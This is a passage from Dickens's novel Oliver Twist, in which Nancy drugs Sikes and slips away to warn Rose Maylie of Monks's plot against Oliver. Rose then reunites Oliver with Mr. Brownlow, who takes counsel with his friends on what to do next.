something she was bent +upon, wrung her hands, and burst into tears. + +It might be that her tears relieved her, or that she felt the +full hopelessness of her condition; but she turned back; and +hurrying with nearly as great rapidity in the contrary direction; +partly to recover lost time, and partly to keep pace with the +violent current of her own thoughts: soon reached the dwelling +where she had left the housebreaker. + +If she betrayed any agitation, when she presented herself to Mr. +Sikes, he did not observe it; for merely inquiring if she had +brought the money, and receiving a reply in the affirmative, he +uttered a growl of satisfaction, and replacing his head upon the +pillow, resumed the slumbers which her arrival had interrupted. + +It was fortunate for her that the possession of money occasioned +him so much employment next day in the way of eating and +drinking; and withal had so beneficial an effect in smoothing +down the asperities of his temper; that he had neither time nor +inclination to be very critical upon her behaviour and +deportment. That she had all the abstracted and nervous manner +of one who is on the eve of some bold and hazardous step, which +it has required no common struggle to resolve upon, would have +been obvious to the lynx-eyed Fagin, who would most probably have +taken the alarm at once; but Mr. Sikes lacking the niceties of +discrimination, and being troubled with no more subtle misgivings +than those which resolve themselves into a dogged roughness of +behaviour towards everybody; and being, furthermore, in an +unusually amiable condition, as has been already observed; saw +nothing unusual in her demeanor, and indeed, troubled himself so +little about her, that, had her agitation been far more +perceptible than it was, it would have been very unlikely to have +awakened his suspicions. + +As that day closed in, the girl's excitement increased; and, when +night came on, and she sat by, watching until the housebreaker +should drink himself asleep, there was an unusual paleness in her +cheek, and a fire in her eye, that even Sikes observed with +astonishment. + +Mr. Sikes being weak from the fever, was lying in bed, taking hot +water with his gin to render it less inflammatory; and had pushed +his glass towards Nancy to be replenished for the third or fourth +time, when these symptoms first struck him. + +'Why, burn my body!' said the man, raising himself on his hands +as he stared the girl in the face. 'You look like a corpse come +to life again. What's the matter?' + +'Matter!' replied the girl. 'Nothing. What do you look at me so +hard for?' + +'What foolery is this?' demanded Sikes, grasping her by the arm, +and shaking her roughly. 'What is it? What do you mean? What +are you thinking of?' + +'Of many things, Bill,' replied the girl, shivering, and as she +did so, pressing her hands upon her eyes. 'But, Lord! What odds +in that?' + +The tone of forced gaiety in which the last words were spoken, +seemed to produce a deeper impression on Sikes than the wild and +rigid look which had preceded them. + +'I tell you wot it is,' said Sikes; 'if you haven't caught the +fever, and got it comin' on, now, there's something more than +usual in the wind, and something dangerous too. You're not +a-going to--. No, damme! you wouldn't do that!' + +'Do what?' asked the girl. + +'There ain't,' said Sikes, fixing his eyes upon her, and +muttering the words to himself; 'there ain't a stauncher-hearted +gal going, or I'd have cut her throat three months ago. She's +got the fever coming on; that's it.' + +Fortifying himself with this assurance, Sikes drained the glass +to the bottom, and then, with many grumbling oaths, called for +his physic. The girl jumped up, with great alacrity; poured it +quickly out, but with her back towards him; and held the vessel +to his lips, while he drank off the contents. + +'Now,' said the robber, 'come and sit aside of me, and put on +your own face; or I'll alter it so, that you won't know it agin +when you do want it.' + +The girl obeyed. Sikes, locking her hand in his, fell back upon +the pillow: turning his eyes upon her face. They closed; opened +again; closed once more; again opened. He shifted his position +restlessly; and, after dozing again, and again, for two or three +minutes, and as often springing up with a look of terror, and +gazing vacantly about him, was suddenly stricken, as it were, +while in the very attitude of rising, into a deep and heavy +sleep. The grasp of his hand relaxed; the upraised arm fell +languidly by his side; and he lay like one in a profound trance. + +'The laudanum has taken effect at last,' murmured the girl, as +she rose from the bedside. 'I may be too late, even now.' + +She hastily dressed herself in her bonnet and shawl: looking +fearfully round, from time to time, as if, despite the sleeping +draught, she expected every moment to feel the pressure of +Sikes's heavy hand upon her shoulder; then, stooping softly over +the bed, she kissed the robber's lips; and then opening and +closing the room-door with noiseless touch, hurried from the +house. + +A watchman was crying half-past nine, down a dark passage through +which she had to pass, in gaining the main thoroughfare. + +'Has it long gone the half-hour?' asked the girl. + +'It'll strike the hour in another quarter,' said the man: +raising his lantern to her face. + +'And I cannot get there in less than an hour or more,' muttered +Nancy: brushing swiftly past him, and gliding rapidly down the +street. + +Many of the shops were already closing in the back lanes and +avenues through which she tracked her way, in making from +Spitalfields towards the West-End of London. The clock struck +ten, increasing her impatience. She tore along the narrow +pavement: elbowing the passengers from side to side; and darting +almost under the horses' heads, crossed crowded streets, where +clusters of persons were eagerly watching their opportunity to do +the like. + +'The woman is mad!' said the people, turning to look after her as +she rushed away. + +When she reached the more wealthy quarter of the town, the +streets were comparatively deserted; and here her headlong +progress excited a still greater curiosity in the stragglers whom +she hurried past. Some quickened their pace behind, as though to +see whither she was hastening at such an unusual rate; and a few +made head upon her, and looked back, surprised at her +undiminished speed; but they fell off one by one; and when she +neared her place of destination, she was alone. + +It was a family hotel in a quiet but handsome street near Hyde +Park. As the brilliant light of the lamp which burnt before its +door, guided her to the spot, the clock struck eleven. She had +loitered for a few paces as though irresolute, and making up her +mind to advance; but the sound determined her, and she stepped +into the hall. The porter's seat was vacant. She looked round +with an air of incertitude, and advanced towards the stairs. + +'Now, young woman!' said a smartly-dressed female, looking out +from a door behind her, 'who do you want here?' + +'A lady who is stopping in this house,' answered the girl. + +'A lady!' was the reply, accompanied with a scornful look. 'What +lady?' + +'Miss Maylie,' said Nancy. + +The young woman, who had by this time, noted her appearance, +replied only by a look of virtuous disdain; and summoned a man to +answer her. To him, Nancy repeated her request. + +'What name am I to say?' asked the waiter. + +'It's of no use saying any,' replied Nancy. + +'Nor business?' said the man. + +'No, nor that neither,' rejoined the girl. 'I must see the +lady.' + +'Come!' said the man, pushing her towards the door. 'None of +this. Take yourself off.' + +'I shall be carried out if I go!' said the girl violently; 'and I +can make that a job that two of you won't like to do. Isn't +there anybody here,' she said, looking round, 'that will see a +simple message carried for a poor wretch like me?' + +This appeal produced an effect on a good-tempered-faced man-cook, +who with some of the other servants was looking on, and who +stepped forward to interfere. + +'Take it up for her, Joe; can't you?' said this person. + +'What's the good?' replied the man. 'You don't suppose the young +lady will see such as her; do you?' + +This allusion to Nancy's doubtful character, raised a vast +quantity of chaste wrath in the bosoms of four housemaids, who +remarked, with great fervour, that the creature was a disgrace to +her sex; and strongly advocated her being thrown, ruthlessly, +into the kennel. + +'Do what you like with me,' said the girl, turning to the men +again; 'but do what I ask you first, and I ask you to give this +message for God Almighty's sake.' + +The soft-hearted cook added his intercession, and the result was +that the man who had first appeared undertook its delivery. + +'What's it to be?' said the man, with one foot on the stairs. + +'That a young woman earnestly asks to speak to Miss Maylie +alone,' said Nancy; 'and that if the lady will only hear the +first word she has to say, she will know whether to hear her +business, or to have her turned out of doors as an impostor.' + +'I say,' said the man, 'you're coming it strong!' + +'You give the message,' said the girl firmly; 'and let me hear +the answer.' + +The man ran upstairs. Nancy remained, pale and almost +breathless, listening with quivering lip to the very audible +expressions of scorn, of which the chaste housemaids were very +prolific; and of which they became still more so, when the man +returned, and said the young woman was to walk upstairs. + +'It's no good being proper in this world,' said the first +housemaid. + +'Brass can do better than the gold what has stood the fire,' said +the second. + +The third contented herself with wondering 'what ladies was made +of'; and the fourth took the first in a quartette of 'Shameful!' +with which the Dianas concluded. + +Regardless of all this: for she had weightier matters at heart: +Nancy followed the man, with trembling limbs, to a small +ante-chamber, lighted by a lamp from the ceiling. Here he left +her, and retired. + + + + +CHAPTER XL + +A STRANGE INTERVIEW, WHICH IS A SEQUEL TO THE LAST CHAMBER + +The girl's life had been squandered in the streets, and among the +most noisome of the stews and dens of London, but there was +something of the woman's original nature left in her still; and +when she heard a light step approaching the door opposite to that +by which she had entered, and thought of the wide contrast which +the small room would in another moment contain, she felt burdened +with the sense of her own deep shame, and shrunk as though she +could scarcely bear the presence of her with whom she had sought +this interview. + +But struggling with these better feelings was pride,--the vice of +the lowest and most debased creatures no less than of the high +and self-assured. The miserable companion of thieves and +ruffians, the fallen outcast of low haunts, the associate of the +scourings of the jails and hulks, living within the shadow of the +gallows itself,--even this degraded being felt too proud to +betray a feeble gleam of the womanly feeling which she thought a +weakness, but which alone connected her with that humanity, of +which her wasting life had obliterated so many, many traces when +a very child. + +She raised her eyes sufficiently to observe that the figure which +presented itself was that of a slight and beautiful girl; then, +bending them on the ground, she tossed her head with affected +carelessness as she said: + +'It's a hard matter to get to see you, lady. If I had taken +offence, and gone away, as many would have done, you'd have been +sorry for it one day, and not without reason either.' + +'I am very sorry if any one has behaved harshly to you,' replied +Rose. 'Do not think of that. Tell me why you wished to see me. +I am the person you inquired for.' + +The kind tone of this answer, the sweet voice, the gentle manner, +the absence of any accent of haughtiness or displeasure, took the +girl completely by surprise, and she burst into tears. + +'Oh, lady, lady!' she said, clasping her hands passionately +before her face, 'if there was more like you, there would be +fewer like me,--there would--there would!' + +'Sit down,' said Rose, earnestly. 'If you are in poverty or +affliction I shall be truly glad to relieve you if I can,--I +shall indeed. Sit down.' + +'Let me stand, lady,' said the girl, still weeping, 'and do not +speak to me so kindly till you know me better. It is growing +late. Is--is--that door shut?' + +'Yes,' said Rose, recoiling a few steps, as if to be nearer +assistance in case she should require it. 'Why?' + +'Because,' said the girl, 'I am about to put my life and the +lives of others in your hands. I am the girl that dragged little +Oliver back to old Fagin's on the night he went out from the +house in Pentonville.' + +'You!' said Rose Maylie. + +'I, lady!' replied the girl. 'I am the infamous creature you +have heard of, that lives among the thieves, and that never from +the first moment I can recollect my eyes and senses opening on +London streets have known any better life, or kinder words than +they have given me, so help me God! Do not mind shrinking openly +from me, lady. I am younger than you would think, to look at me, +but I am well used to it. The poorest women fall back, as I make +my way along the crowded pavement.' + +'What dreadful things are these!' said Rose, involuntarily +falling from her strange companion. + +'Thank Heaven upon your knees, dear lady,' cried the girl, 'that +you had friends to care for and keep you in your childhood, and +that you were never in the midst of cold and hunger, and riot and +drunkenness, and--and--something worse than all--as I have been +from my cradle. I may use the word, for the alley and the gutter +were mine, as they will be my deathbed.' + +'I pity you!' said Rose, in a broken voice. 'It wrings my heart +to hear you!' + +'Heaven bless you for your goodness!' rejoined the girl. 'If you +knew what I am sometimes, you would pity me, indeed. But I have +stolen away from those who would surely murder me, if they knew I +had been here, to tell you what I have overheard. Do you know a +man named Monks?' + +'No,' said Rose. + +'He knows you,' replied the girl; 'and knew you were here, for it +was by hearing him tell the place that I found you out.' + +'I never heard the name,' said Rose. + +'Then he goes by some other amongst us,' rejoined the girl, +'which I more than thought before. Some time ago, and soon after +Oliver was put into your house on the night of the robbery, +I--suspecting this man--listened to a conversation held between +him and Fagin in the dark. I found out, from what I heard, that +Monks--the man I asked you about, you know--' + +'Yes,' said Rose, 'I understand.' + +'--That Monks,' pursued the girl, 'had seen him accidently with +two of our boys on the day we first lost him, and had known him +directly to be the same child that he was watching for, though I +couldn't make out why. A bargain was struck with Fagin, that if +Oliver was got back he should have a certain sum; and he was to +have more for making him a thief, which this Monks wanted for +some purpose of his own.' + +'For what purpose?' asked Rose. + +'He caught sight of my shadow on the wall as I listened, in the +hope of finding out,' said the girl; 'and there are not many +people besides me that could have got out of their way in time to +escape discovery. But I did; and I saw him no more till last +night.' + +'And what occurred then?' + +'I'll tell you, lady. Last night he came again. Again they went +upstairs, and I, wrapping myself up so that my shadow would not +betray me, again listened at the door. The first words I heard +Monks say were these: "So the only proofs of the boy's identity +lie at the bottom of the river, and the old hag that received +them from the mother is rotting in her coffin." They laughed, +and talked of his success in doing this; and Monks, talking on +about the boy, and getting very wild, said that though he had got +the young devil's money safely now, he'd rather have had it the +other way; for, what a game it would have been to have brought +down the boast of the father's will, by driving him through every +jail in town, and then hauling him up for some capital felony +which Fagin could easily manage, after having made a good profit +of him besides.' + +'What is all this!' said Rose. + +'The truth, lady, though it comes from my lips,' replied the +girl. 'Then, he said, with oaths common enough in my ears, but +strange to yours, that if he could gratify his hatred by taking +the boy's life without bringing his own neck in danger, he would; +but, as he couldn't, he'd be upon the watch to meet him at every +turn in life; and if he took advantage of his birth and history, +he might harm him yet. "In short, Fagin," he says, "Jew as you +are, you never laid such snares as I'll contrive for my young +brother, Oliver."' + +'His brother!' exclaimed Rose. + +'Those were his words,' said Nancy, glancing uneasily round, as +she had scarcely ceased to do, since she began to speak, for a +vision of Sikes haunted her perpetually. 'And more. When he +spoke of you and the other lady, and said it seemed contrived by +Heaven, or the devil, against him, that Oliver should come into +your hands, he laughed, and said there was some comfort in that +too, for how many thousands and hundreds of thousands of pounds +would you not give, if you had them, to know who your two-legged +spaniel was.' + +'You do not mean,' said Rose, turning very pale, 'to tell me that +this was said in earnest?' + +'He spoke in hard and angry earnest, if a man ever did,' replied +the girl, shaking her head. 'He is an earnest man when his +hatred is up. I know many who do worse things; but I'd rather +listen to them all a dozen times, than to that Monks once. It is +growing late, and I have to reach home without suspicion of +having been on such an errand as this. I must get back quickly.' + +'But what can I do?' said Rose. 'To what use can I turn this +communication without you? Back! Why do you wish to return to +companions you paint in such terrible colors? If you repeat this +information to a gentleman whom I can summon in an instant from +the next room, you can be consigned to some place of safety +without half an hour's delay.' + +'I wish to go back,' said the girl. 'I must go back, +because--how can I tell such things to an innocent lady like +you?--because among the men I have told you of, there is one: +the most desperate among them all; that I can't leave: no, not +even to be saved from the life I am leading now.' + +'Your having interfered in this dear boy's behalf before,' said +Rose; 'your coming here, at so great a risk, to tell me what you +have heard; your manner, which convinces me of the truth of what +you say; your evident contrition, and sense of shame; all lead me +to believe that you might yet be reclaimed. Oh!' said the +earnest girl, folding her hands as the tears coursed down her +face, 'do not turn a deaf ear to the entreaties of one of your +own sex; the first--the first, I do believe, who ever appealed to +you in the voice of pity and compassion. Do hear my words, and +let me save you yet, for better things.' + +'Lady,' cried the girl, sinking on her knees, 'dear, sweet, angel +lady, you _are_ the first that ever blessed me with such words as +these, and if I had heard them years ago, they might have turned +me from a life of sin and sorrow; but it is too late, it is too +late!' + +'It is never too late,' said Rose, 'for penitence and atonement.' + +'It is,' cried the girl, writhing in agony of her mind; 'I cannot +leave him now! I could not be his death.' + +'Why should you be?' asked Rose. + +'Nothing could save him,' cried the girl. 'If I told others what +I have told you, and led to their being taken, he would be sure +to die. He is the boldest, and has been so cruel!' + +'Is it possible,' cried Rose, 'that for such a man as this, you +can resign every future hope, and the certainty of immediate +rescue? It is madness.' + +'I don't know what it is,' answered the girl; 'I only know that +it is so, and not with me alone, but with hundreds of others as +bad and wretched as myself. I must go back. Whether it is God's +wrath for the wrong I have done, I do not know; but I am drawn +back to him through every suffering and ill usage; and I should +be, I believe, if I knew that I was to die by his hand at last.' + +'What am I to do?' said Rose. 'I should not let you depart from +me thus.' + +'You should, lady, and I know you will,' rejoined the girl, +rising. 'You will not stop my going because I have trusted in +your goodness, and forced no promise from you, as I might have +done.' + +'Of what use, then, is the communication you have made?' said +Rose. 'This mystery must be investigated, or how will its +disclosure to me, benefit Oliver, whom you are anxious to serve?' + +'You must have some kind gentleman about you that will hear it as +a secret, and advise you what to do,' rejoined the girl. + +'But where can I find you again when it is necessary?' asked +Rose. 'I do not seek to know where these dreadful people live, +but where will you be walking or passing at any settled period +from this time?' + +'Will you promise me that you will have my secret strictly kept, +and come alone, or with the only other person that knows it; and +that I shall not be watched or followed?' asked the girl. + +'I promise you solemnly,' answered Rose. + +'Every Sunday night, from eleven until the clock strikes twelve,' +said the girl without hesitation, 'I will walk on London Bridge +if I am alive.' + +'Stay another moment,' interposed Rose, as the girl moved +hurriedly towards the door. 'Think once again on your own +condition, and the opportunity you have of escaping from it. You +have a claim on me: not only as the voluntary bearer of this +intelligence, but as a woman lost almost beyond redemption. Will +you return to this gang of robbers, and to this man, when a word +can save you? What fascination is it that can take you back, and +make you cling to wickedness and misery? Oh! is there no chord +in your heart that I can touch! Is there nothing left, to which +I can appeal against this terrible infatuation!' + +'When ladies as young, and good, and beautiful as you are,' +replied the girl steadily, 'give away your hearts, love will +carry you all lengths--even such as you, who have home, friends, +other admirers, everything, to fill them. When such as I, who +have no certain roof but the coffinlid, and no friend in sickness +or death but the hospital nurse, set our rotten hearts on any +man, and let him fill the place that has been a blank through all +our wretched lives, who can hope to cure us? Pity us, lady--pity +us for having only one feeling of the woman left, and for having +that turned, by a heavy judgment, from a comfort and a pride, +into a new means of violence and suffering.' + +'You will,' said Rose, after a pause, 'take some money from me, +which may enable you to live without dishonesty--at all events +until we meet again?' + +'Not a penny,' replied the girl, waving her hand. + +'Do not close your heart against all my efforts to help you,' +said Rose, stepping gently forward. 'I wish to serve you +indeed.' + +'You would serve me best, lady,' replied the girl, wringing her +hands, 'if you could take my life at once; for I have felt more +grief to think of what I am, to-night, than I ever did before, +and it would be something not to die in the hell in which I have +lived. God bless you, sweet lady, and send as much happiness on +your head as I have brought shame on mine!' + +Thus speaking, and sobbing aloud, the unhappy creature turned +away; while Rose Maylie, overpowered by this extraordinary +interview, which had more the semblance of a rapid dream than an +actual occurrence, sank into a chair, and endeavoured to collect +her wandering thoughts. + + + + +CHAPTER XLI + +CONTAINING FRESH DISCOVERIES, AND SHOWING THAT SUPRISES, LIKE +MISFORTUNES, SELDOM COME ALONE + +Her situation was, indeed, one of no common trial and difficulty. +While she felt the most eager and burning desire to penetrate the +mystery in which Oliver's history was enveloped, she could not +but hold sacred the confidence which the miserable woman with +whom she had just conversed, had reposed in her, as a young and +guileless girl. Her words and manner had touched Rose Maylie's +heart; and, mingled with her love for her young charge, and +scarcely less intense in its truth and fervour, was her fond wish +to win the outcast back to repentance and hope. + +They purposed remaining in London only three days, prior to +departing for some weeks to a distant part of the coast. It was +now midnight of the first day. What course of action could she +determine upon, which could be adopted in eight-and-forty hours? +Or how could she postpone the journey without exciting suspicion? + +Mr. Losberne was with them, and would be for the next two days; +but Rose was too well acquainted with the excellent gentleman's +impetuosity, and foresaw too clearly the wrath with which, in the +first explosion of his indignation, he would regard the +instrument of Oliver's recapture, to trust him with the secret, +when her representations in the girl's behalf could be seconded +by no experienced person. These were all reasons for the +greatest caution and most circumspect behaviour in communicating +it to Mrs. Maylie, whose first impulse would infallibly be to +hold a conference with the worthy doctor on the subject. As to +resorting to any legal adviser, even if she had known how to do +so, it was scarcely to be thought of, for the same reason. Once +the thought occurred to her of seeking assistance from Harry; but +this awakened the recollection of their last parting, and it +seemed unworthy of her to call him back, when--the tears rose to +her eyes as she pursued this train of reflection--he might have +by this time learnt to forget her, and to be happier away. + +Disturbed by these different reflections; inclining now to one +course and then to another, and again recoiling from all, as each +successive consideration presented itself to her mind; Rose +passed a sleepless and anxious night. After more communing with +herself next day, she arrived at the desperate conclusion of +consulting Harry. + +'If it be painful to him,' she thought, 'to come back here, how +painful it will be to me! But perhaps he will not come; he may +write, or he may come himself, and studiously abstain from +meeting me--he did when he went away. I hardly thought he would; +but it was better for us both.' And here Rose dropped the pen, +and turned away, as though the very paper which was to be her +messenger should not see her weep. + +She had taken up the same pen, and laid it down again fifty +times, and had considered and reconsidered the first line of her +letter without writing the first word, when Oliver, who had been +walking in the streets, with Mr. Giles for a body-guard, entered +the room in such breathless haste and violent agitation, as +seemed to betoken some new cause of alarm. + +'What makes you look so flurried?' asked Rose, advancing to meet +him. + +'I hardly know how; I feel as if I should be choked,' replied the +boy. 'Oh dear! To think that I should see him at last, and you +should be able to know that I have told you the truth!' + +'I never thought you had told us anything but the truth,' said +Rose, soothing him. 'But what is this?--of whom do you speak?' + +'I have seen the gentleman,' replied Oliver, scarcely able to +articulate, 'the gentleman who was so good to me--Mr. Brownlow, +that we have so often talked about.' + +'Where?' asked Rose. + +'Getting out of a coach,' replied Oliver, shedding tears of +delight, 'and going into a house. I didn't speak to him--I +couldn't speak to him, for he didn't see me, and I trembled so, +that I was not able to go up to him. But Giles asked, for me, +whether he lived there, and they said he did. Look here,' said +Oliver, opening a scrap of paper, 'here it is; here's where he +lives--I'm going there directly! Oh, dear me, dear me! What +shall I do when I come to see him and hear him speak again!' + +With her attention not a little distracted by these and a great +many other incoherent exclamations of joy, Rose read the address, +which was Craven Street, in the Strand. She very soon determined +upon turning the discovery to account. + +'Quick!' she said. 'Tell them to fetch a hackney-coach, and be +ready to go with me. I will take you there directly, without a +minute's loss of time. I will only tell my aunt that we are +going out for an hour, and be ready as soon as you are.' + +Oliver needed no prompting to despatch, and in little more than +five minutes they were on their way to Craven Street. When they +arrived there, Rose left Oliver in the coach, under pretence of +preparing the old gentleman to receive him; and sending up her +card by the servant, requested to see Mr. Brownlow on very +pressing business. The servant soon returned, to beg that she +would walk upstairs; and following him into an upper room, Miss +Maylie was presented to an elderly gentleman of benevolent +appearance, in a bottle-green coat. At no great distance from +whom, was seated another old gentleman, in nankeen breeches and +gaiters; who did not look particularly benevolent, and who was +sitting with his hands clasped on the top of a thick stick, and +his chin propped thereupon. + +'Dear me,' said the gentleman, in the bottle-green coat, hastily +rising with great politeness, 'I beg your pardon, young lady--I +imagined it was some importunate person who--I beg you will +excuse me. Be seated, pray.' + +'Mr. Brownlow, I believe, sir?' said Rose, glancing from the +other gentleman to the one who had spoken. + +'That is my name,' said the old gentleman. 'This is my friend, +Mr. Grimwig. Grimwig, will you leave us for a few minutes?' + +'I believe,' interposed Miss Maylie, 'that at this period of our +interview, I need not give that gentleman the trouble of going +away. If I am correctly informed, he is cognizant of the +business on which I wish to speak to you.' + +Mr. Brownlow inclined his head. Mr. Grimwig, who had made one +very stiff bow, and risen from his chair, made another very stiff +bow, and dropped into it again. + +'I shall surprise you very much, I have no doubt,' said Rose, +naturally embarrassed; 'but you once showed great benevolence and +goodness to a very dear young friend of mine, and I am sure you +will take an interest in hearing of him again.' + +'Indeed!' said Mr. Brownlow. + +'Oliver Twist you knew him as,' replied Rose. + +The words no sooner escaped her lips, than Mr. Grimwig, who had +been affecting to dip into a large book that lay on the table, +upset it with a great crash, and falling back in his chair, +discharged from his features every expression but one of +unmitigated wonder, and indulged in a prolonged and vacant stare; +then, as if ashamed of having betrayed so much emotion, he jerked +himself, as it were, by a convulsion into his former attitude, +and looking out straight before him emitted a long deep whistle, +which seemed, at last, not to be discharged on empty air, but to +die away in the innermost recesses of his stomach. + +Mr. Browlow was no less surprised, although his astonishment was +not expressed in the same eccentric manner. He drew his chair +nearer to Miss Maylie's, and said, + +'Do me the favour, my dear young lady, to leave entirely out of +the question that goodness and benevolence of which you speak, +and of which nobody else knows anything; and if you have it in +your power to produce any evidence which will alter the +unfavourable opinion I was once induced to entertain of that poor +child, in Heaven's name put me in possession of it.' + +'A bad one! I'll eat my head if he is not a bad one,' growled +Mr. Grimwig, speaking by some ventriloquial power, without moving +a muscle of his face. + +'He is a child of a noble nature and a warm heart,' said Rose, +colouring; 'and that Power which has thought fit to try him +beyond his years, has planted in his breast affections and +feelings which would do honour to many who have numbered his days +six times over.' + +'I'm only sixty-one,' said Mr. Grimwig, with the same rigid face. +'And, as the devil's in it if this Oliver is not twelve years old +at least, I don't see the application of that remark.' + +'Do not heed my friend, Miss Maylie,' said Mr. Brownlow; 'he does +not mean what he says.' + +'Yes, he does,' growled Mr. Grimwig. + +'No, he does not,' said Mr. Brownlow, obviously rising in wrath +as he spoke. + +'He'll eat his head, if he doesn't,' growled Mr. Grimwig. + +'He would deserve to have it knocked off, if he does,' said Mr. +Brownlow. + +'And he'd uncommonly like to see any man offer to do it,' +responded Mr. Grimwig, knocking his stick upon the floor. + +Having gone thus far, the two old gentlemen severally took snuff, +and afterwards shook hands, according to their invariable custom. + +'Now, Miss Maylie,' said Mr. Brownlow, 'to return to the subject +in which your humanity is so much interested. Will you let me +know what intelligence you have of this poor child: allowing me +to promise that I exhausted every means in my power of +discovering him, and that since I have been absent from this +country, my first impression that he had imposed upon me, and had +been persuaded by his former associates to rob me, has been +considerably shaken.' + +Rose, who had had time to collect her thoughts, at once related, +in a few natural words, all that had befallen Oliver since he +left Mr. Brownlow's house; reserving Nancy's information for that +gentleman's private ear, and concluding with the assurance that +his only sorrow, for some months past, had been not being able to +meet with his former benefactor and friend. + +'Thank God!' said the old gentleman. 'This is great happiness to +me, great happiness. But you have not told me where he is now, +Miss Maylie. You must pardon my finding fault with you,--but why +not have brought him?' + +'He is waiting in a coach at the door,' replied Rose. + +'At this door!' cried the old gentleman. With which he hurried +out of the room, down the stairs, up the coachsteps, and into the +coach, without another word. + +When the room-door closed behind him, Mr. Grimwig lifted up his +head, and converting one of the hind legs of his chair into a +pivot, described three distinct circles with the assistance of +his stick and the table; sitting in it all the time. After +performing this evolution, he rose and limped as fast as he could +up and down the room at least a dozen times, and then stopping +suddenly before Rose, kissed her without the slightest preface. + +'Hush!' he said, as the young lady rose in some alarm at this +unusual proceeding. 'Don't be afraid. I'm old enough to be your +grandfather. You're a sweet girl. I like you. Here they are!' + +In fact, as he threw himself at one dexterous dive into his +former seat, Mr. Brownlow returned, accompanied by Oliver, whom +Mr. Grimwig received very graciously; and if the gratification of +that moment had been the only reward for all her anxiety and care +in Oliver's behalf, Rose Maylie would have been well repaid. + +'There is somebody else who should not be forgotten, by the bye,' +said Mr. Brownlow, ringing the bell. 'Send Mrs. Bedwin here, if +you please.' + +The old housekeeper answered the summons with all dispatch; and +dropping a curtsey at the door, waited for orders. + +'Why, you get blinder every day, Bedwin,' said Mr. Brownlow, +rather testily. + +'Well, that I do, sir,' replied the old lady. 'People's eyes, at +my time of life, don't improve with age, sir.' + +'I could have told you that,' rejoined Mr. Brownlow; 'but put on +your glasses, and see if you can't find out what you were wanted +for, will you?' + +The old lady began to rummage in her pocket for her spectacles. +But Oliver's patience was not proof against this new trial; and +yielding to his first impulse, he sprang into her arms. + +'God be good to me!' cried the old lady, embracing him; 'it is my +innocent boy!' + +'My dear old nurse!' cried Oliver. + +'He would come back--I knew he would,' said the old lady, holding +him in her arms. 'How well he looks, and how like a gentleman's +son he is dressed again! Where have you been, this long, long +while? Ah! the same sweet face, but not so pale; the same soft +eye, but not so sad. I have never forgotten them or his quiet +smile, but have seen them every day, side by side with those of +my own dear children, dead and gone since I was a lightsome young +creature.' Running on thus, and now holding Oliver from her to +mark how he had grown, now clasping him to her and passing her +fingers fondly through his hair, the good soul laughed and wept +upon his neck by turns. + +Leaving her and Oliver to compare notes at leisure, Mr. Brownlow +led the way into another room; and there, heard from Rose a full +narration of her interview with Nancy, which occasioned him no +little surprise and perplexity. Rose also explained her reasons +for not confiding in her friend Mr. Losberne in the first +instance. The old gentleman considered that she had acted +prudently, and readily undertook to hold solemn conference with +the worthy doctor himself. To afford him an early opportunity +for the execution of this design, it was arranged that he should +call at the hotel at eight o'clock that evening, and that in the +meantime Mrs. Maylie should be cautiously informed of all that +had occurred. These preliminaries adjusted, Rose and Oliver +returned home. + +Rose had by no means overrated the measure of the good doctor's +wrath. Nancy's history was no sooner unfolded to him, than he +poured forth a shower of mingled threats and execrations; +threatened to make her the first victim of the combined ingenuity +of Messrs. Blathers and Duff; and actually put on his hat +preparatory to sallying forth to obtain the assistance of those +worthies. And, doubtless, he would, in this first outbreak, have +carried the intention into effect without a moment's +consideration of the consequences, if he had not been restrained, +in part, by corresponding violence on the side of Mr. Brownlow, +who was himself of an irascible temperament, and party by such +arguments and representations as seemed best calculated to +dissuade him from his hotbrained purpose. + +'Then what the devil is to be done?' said the impetuous doctor, +when they had rejoined the two ladies. 'Are we to pass a vote of +thanks to all these vagabonds, male and female, and beg them to +accept a hundred pounds, or so, apiece, as a trifling mark of our +esteem, and some slight acknowledgment of their kindness to +Oliver?' + +'Not exactly that,' rejoined Mr. Brownlow, laughing; 'but we must +proceed gently and with great care.' + +'Gentleness and care,' exclaimed the doctor. 'I'd send them one +and all to--' + +'Never mind where,' interposed Mr. Brownlow. 'But reflect +whether sending them anywhere is likely to attain the object we +have in view.' + +'What object?' asked the doctor. + +'Simply, the discovery of Oliver's parentage, and regaining for +him the inheritance of which, if this story be true, he has been +fraudulently deprived.' + +'Ah!' said Mr. Losberne, cooling himself with his +pocket-handkerchief; 'I almost forgot that.' + +'You see,' pursued Mr. Brownlow; 'placing this poor girl entirely +out of the question, and supposing it were possible to bring +these scoundrels to justice without compromising her safety, what +good should we bring about?' + +'Hanging a few of them at least, in all probability,' suggested +the doctor, 'and transporting the rest.' + +'Very good,' replied Mr. Brownlow, smiling; 'but no doubt they +will bring that about for themselves in the fulness of time, and +if we step in to forestall them, it seems to me that we shall be +performing a very Quixotic act, in direct opposition to our own +interest--or at least to Oliver's, which is the same thing.' + +'How?' inquired the doctor. + +'Thus. It is quite clear that we shall have extreme difficulty +in getting to the bottom of this mystery, unless we can bring +this man, Monks, upon his knees. That can only be done by +stratagem, and by catching him when he is not surrounded by these +people. For, suppose he were apprehended, we have no proof +against him. He is not even (so far as we know, or as the facts +appear to us) concerned with the gang in any of their robberies. +If he were not discharged, it is very unlikely that he could +receive any further punishment than being committed to prison as +a rogue and vagabond; and of course ever afterwards his mouth +would be so obstinately closed that he might as well, for our +purposes, be deaf, dumb, blind, and an idiot.' + +'Then,' said the doctor impetuously, 'I put it to you again, +whether you think it reasonable that this promise to the girl +should be considered binding; a promise made with the best and +kindest intentions, but really--' + +'Do not discuss the point, my dear young lady, pray,' said Mr. +Brownlow, interrupting Rose as she was about to speak. 'The +promise shall be kept. I don't think it will, in the slightest +degree, interfere with our proceedings. But, before we can +resolve upon any precise course of action, it will be necessary +to see the girl; to ascertain from her whether she will point out +this Monks, on the understanding that he is to be dealt with by +us, and not by the law; or, if she will not, or cannot do that, +to procure from her such an account of his haunts and description +of his person, as will enable us to identify him. She cannot be +seen until next Sunday night; this is Tuesday. I would suggest +that in the meantime, we remain perfectly quiet, and keep these +matters secret even from Oliver himself.' + +Although Mr. Losberne received with many wry faces a proposal +involving a delay of five whole days, he was fain to admit that +no better course occurred to him just then; and as both Rose and +Mrs. Maylie sided very strongly with Mr. Brownlow, that +gentleman's proposition was carried unanimously. + +'I should like,' he said, 'to call in the aid of my friend +Grimwig. He is a strange creature, but a shrewd one, and might +prove of material assistance to us; I should say that he was bred +a lawyer, and quitted the Bar in disgust because he had only one +brief and a motion of course, in twenty years, though whether +that is recommendation or not, you must determine for +yourselves.' + +'I have no objection to your calling in your friend if I may call +in mine,' said the doctor. + +'We must put it to the vote,' replied Mr. Brownlow, 'who 